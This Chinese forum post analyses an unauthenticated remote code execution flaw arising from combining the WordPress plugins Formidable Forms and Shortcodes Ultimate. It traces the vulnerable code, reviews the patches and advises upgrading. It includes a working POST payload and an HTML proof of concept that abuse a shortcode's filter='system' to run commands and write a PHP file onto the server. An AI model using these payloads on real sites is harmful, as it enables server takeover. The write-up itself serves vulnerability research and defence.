HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
HACK80    技术文档

WordPress组合插件远程代码执行漏洞分析

  •   你才是大湿胸 ·2017-12-3 23:30:14·444 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x

    0x00 漏洞概述
    在前段时间,WordPress修复了两个插件的漏洞–Shortcodes Ultimate和formidable forms,其中Shortcodes Ultimate的下载量在70W+,而formidable forms的下载量在20W+,影响的范围比较广泛。
    这个漏洞主要是由formidable forms引起的,该插件无需任何权限便可预览表单,然而对上传的html代码没有做任何检验,所以导致了包括xss和shortcode执行等在内的一系列问题。而Shortcodes Ultimate可以自定义shortcode,两者结合就可以造成严重的远程代码执行漏洞,而且无需任何权限。

    0x01 漏洞分析
    利用条件:
    插件:Shortcodes Ultimate<=5.0.0
    插件:formidable forms <= 2.0.5.1
    我们的分析思路从文后附录的POC开始。
    1. POST /wp-admin/admin-ajax.php HTTP/1.1 action=frm_forms_preview&form={‘asdf-asdf’}&before_html=[su_meta key=1 post_id=1 default= [su_meta key=1 post_id=1 default='echo 1 > wp_rce.txt' filter='system']&custom_style=1
    复制代码
    action=frm_forms_preview
    tips:
    WordPress插件的执行流程:
    申明一个add_action,将tag绑定一个函数,类似于route
    然后通过do_action或者ajax来调用
    所以从action=frm_forms_preview来入手,搜索frm_forms_preview
    在FrmHooksController.php中的load_ajax_hooks函数
    1. add_action( 'wp_ajax_frm_forms_preview', 'FrmFormsController::preview' );
    2. add_action( 'wp_ajax_nopriv_frm_forms_preview', 'FrmFormsController::preview' );
    复制代码
    可以看出,frm_forms_preview动作绑定在preview函数上
    1. public static function preview() {

    2. do_action( 'frm_wp' ); global $frm_vars;

    3. $frm_vars['preview'] = true; if ( ! defined( 'ABSPATH' ) && ! defined( 'XMLRPC_REQUEST' ) ) { global $wp;

    4. $root = dirname( dirname( dirname( dirname( __FILE__ ) ) ) ); include_once( $root . '/wp-config.php' );

    5. $wp->init();

    6. $wp->register_globals();

    7. }



    8. header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );



    9. $key = FrmAppHelper::simple_get( 'form', 'sanitize_title' ); if ( $key == '' ) {

    10. $key = FrmAppHelper::get_post_param( 'form', '', 'sanitize_title' );

    11. }



    12. $form = FrmForm::getAll( array( 'form_key' => $key ), '', 1 ); if ( empty( $form ) ) {

    13. $form = FrmForm::getAll( array(), '', 1 );

    14. } require( FrmAppHelper::plugin_path() . '/classes/views/frm-entries/direct.php' );

    15. wp_die();

    16. }
    复制代码
    preview调用direct.php,而direct.php调用show_form函数来展示页面
    1. public static function show_form( $id = '', $key = '', $title = false, $description = false, $atts = array() ) {



    2. … if ( self::is_viewable_draft_form( $form ) ) { // don't show a draft form on a page $form = __( 'Please select a valid form', 'formidable' );

    3. } else if ( self::user_should_login( $form ) ) {

    4. $form = do_shortcode( $frm_settings->login_msg );

    5. } else if ( self::user_has_permission_to_view( $form ) ) {

    6. $form = do_shortcode( $frm_settings->login_msg );

    7. } else {

    8. $form = self::get_form( $form, $title, $description, $atts ); /**

    9. * Use this shortcode to check for external shortcodes that may span

    10. * across multiple fields in the customizable HTML

    11. * @since 2.0.8

    12. */ $form = apply_filters( 'frm_filter_final_form', $form );

    13. } return $form;

    14. }
    复制代码
    此时的frm_settings
    可以看到login_msg,我们是不需要登录的
    所以show_form走的是else流程
    1. $form = self::get_form( $form, $title, $description, $atts ); /**

    2. * Use this shortcode to check for external shortcodes that may span

    3. * across multiple fields in the customizable HTML

    4. * @since 2.0.8

    5. */ $form = apply_filters( 'frm_filter_final_form', $form );
    复制代码
    调用get_form函数
    1. public static function get_form( $form, $title, $description, $atts = array() ) {

    2. ob_start(); self::get_form_contents( $form, $title, $description, $atts ); self::enqueue_scripts( FrmForm::get_params( $form ) );



    3. $contents = ob_get_contents();

    4. ob_end_clean(); self::maybe_minimize_form( $atts, $contents ); return $contents;

    5. }
    复制代码
    调用get_from_contents
    而get_form_contents
    1. if ( $params['action'] != 'create' || $params['posted_form_id'] != $form->id || ! $_POST ) {

    2. do_action('frm_display_form_action', $params, $fields, $form, $title, $description); if ( apply_filters('frm_continue_to_new', true, $form->id, $params['action']) ) {

    3. $values = FrmEntriesHelper::setup_new_vars($fields, $form); include( FrmAppHelper::plugin_path() . '/classes/views/frm-entries/new.php' );

    4. } return;

    5. }
    复制代码
    调用了setup_new_vars函数,
    setup_new_vars函数将post请求的内容取出来存放在value数组中
    然后调用了new.php,而new.php调用form.php,
    form.php调用replace_shortcodes
    1. <?php echo FrmFormsHelper::replace_shortcodes( $values['before_html'], $form, $title, $description ); ?>
    复制代码
    并将before_html的值传入
    replace_shortcode函数对$html做一系列过滤,并最终调用
    1. if ( apply_filters( 'frm_do_html_shortcodes', true ) ) { $html = do_shortcode( $html );

    2. }
    复制代码
    此时的$html就是before_html的值
    do_shortcode函数执行shortcode
    我们看看do_shortcode函数
    1. * @since 2.5.0 *

    2. * @global array $shortcode_tags List of shortcode tags and their callback hooks.

    3. *

    4. * @param string $content Content to search for shortcodes.

    5. * @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped.

    6. * @return string Content with shortcodes filtered out.

    7. */ function do_shortcode( $content, $ignore_html = false ) { global $shortcode_tags; if ( false === strpos( $content, '[' ) ) { return $content;

    8. } if (empty($shortcode_tags) || !is_array($shortcode_tags)) return $content;

    9. ...
    复制代码
    注释上写的很清楚,如果传入的$shortcode_tags存在于全局变量中的话,就会调用相应的hook函数,如果不存在就原样输出。
    此时再来看一下我们的payload,
    1. before_html=[su_meta key=1 post_id=1 default=''echo 1 > wp_rce.txt' filter='system']

    2. $shortcode_tags=su_meta
    复制代码
    而Shortcodes Ultimate插件的load.php将su_meta注册了,所以就会调用su_meta对应的函数
    在Shortcodes Ultimate插件的inc\core\load.php中会将inc\core\data.php中shortcodes数组里里存在的标签遍历一遍,然后通过add_shortcode注册
    1. public static function register() { // Prepare compatibility mode prefix $prefix = su_cmpt(); // $prefix=su_ // Loop through shortcodes foreach ( ( array ) Su_Data::shortcodes() as $id => $data ) { if ( isset( $data['function'] ) && is_callable( $data['function'] ) ) $func = $data['function']; elseif ( is_callable( array( 'Su_Shortcodes', $id ) ) ) $func = array( 'Su_Shortcodes', $id ); elseif ( is_callable( array( 'Su_Shortcodes', 'su_' . $id ) ) ) $func = array( 'Su_Shortcodes', 'su_' . $id ); else continue; // Register shortcode add_shortcode( $prefix . $id, $func );

    2. } // Register [media] manually // 3.x add_shortcode( $prefix . 'media', array( 'Su_Shortcodes', 'media' ) );

    3. }



    4. }
    复制代码
    而shortcodes数组存在meta标签,所以走的是
    1. else if ( is_callable( array( 'Su_Shortcodes', $id ) ) ) $func = array( 'Su_Shortcodes', $id );
    复制代码
    这个条件
    而inc\core\shortcodes.php中存在meta函数,
    1. public static function meta( $atts = null, $content = null ) {

    2. $atts = shortcode_atts( array( 'key'     => '', 'default' => '', 'before'  => '', 'after'   => '', 'post_id' => '', 'filter'  => '' ), $atts, 'meta' ); // Define current post ID if ( !$atts['post_id'] ) $atts['post_id'] = get_the_ID(); // Check post ID if ( !is_numeric( $atts['post_id'] ) || $atts['post_id'] < 1 ) return sprintf( '<p class="su-error">Meta: %s</p>', __( 'post ID is incorrect', 'shortcodes-ultimate' ) ); // Check key name if ( !$atts['key'] ) return sprintf( '<p class="su-error">Meta: %s</p>', __( 'please specify meta key name', 'shortcodes-ultimate' ) ); // Get the meta $meta = get_post_meta( $atts['post_id'], $atts['key'], true ); // Set default value if meta is empty if ( !$meta ) $meta = $atts['default']; // Apply cutom filter if ( $atts['filter'] && function_exists( $atts['filter'] ) ) $meta = call_user_func( $atts['filter'], $meta ); // Return result return ( $meta ) ? $atts['before'] . $meta . $atts['after'] : '';
    复制代码
    而meta函数中最重要的一句就是$meta = call_user_func( $atts[‘filter’], $meta );
    会将filter的值作为处理函数,处理meta的内容。而meta来自于default的值
    而我们传入的是[su_meta key=1 post_id=1 default=’echo 1 > wp_rce.txt’ filter=’system’]
    就利用system函数执行了我们的短代码
    0x02 漏洞验证
    Poc:
    1. <html> <body> <h2>payload:</h2>[su_meta key=1 post_id=1 default='echo <?php phpinfo();?> > ../wp-content/wp_rce.php' filter='system'] <form action="http://127.0.0.1/wordpress/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value='frm_forms_preview' /> <input type="hidden" name="form" value="{'contact-form'}" /> <input type="hidden" name="before_html" value="[su_meta key=1 post_id=1 default='echo ^<?php phpinfo();?^> > ../wp-content/wp_rce.php' filter='system']" /> <input type="hidden" name="custom_style" value="1" /> <input type="submit" value="Submit" /> </form> </body>
    复制代码
    将上述poc保存为html之后,点击submit,访问http://127.0.0.1/wordpress/wp-content/wp_rce.php
    同样的原理,如果将payload改为
    <script>alert(‘XSS’)</script>
    就会造成xss

    0x03 补丁分析
    formidable forms在新版本中修改了setup_new_vars函数
    存在漏洞版本:
    1. foreach ( $form->options as $opt => $value ) {

    2. $values[ $opt ] = FrmAppHelper::get_post_param( $opt, $value ); unset($opt, $value);}
    复制代码
    1. $values = array_merge( $values, $form->options );
    复制代码
    可以看出,跳过了get_post_param函数,并没有取出post中的值修复版本:
    Shortcodes Ultimate在新版本中添加了对filter函数的检验
    存在漏洞版本:
    1. 'desc' => __( 'You can apply custom filter to the retrieved value. Enter here function name. Your function must accept one argument and return modified value. Example function: ', 'shortcodes-ultimate' ) . "<br /><pre><code style='display:block;padding:5px'>function my_custom_filter( \$value ) {\n\treturn 'Value is: ' . \$value;\n}</code></pre>"
    复制代码
    修复版本:
    1. 'desc' => __( 'You can apply custom filter to the retrieved value. Enter here function name. Your function must accept one argument and return modified value. Name of your function must include word <b>filter</b>. Example function: ', 'shortcodes-ultimate' ) . "<br /><pre><code style='display:block;padding:5px'>function my_custom_filter( \$value ) {\n\treturn 'Value is: ' . \$value;\n}</code></pre>"
    复制代码
    可以看出filter函数必须包含filter字符串

    0x04 防护建议
    如果使用到了这两款插件,请尽快升级:
    formidable forms升级至2.05.07
    Shortcodes Ultimate升级至5.0.1

    0x05 参考文章
    任何问题可以联系我silence.darker@gmail.com
    444 次点击  
    收藏  转播  分享
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    QQ
    小黑屋   ·   手机版   ·   228 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-7-23 06:25, Processed in 0.046792 second(s), 18 queries .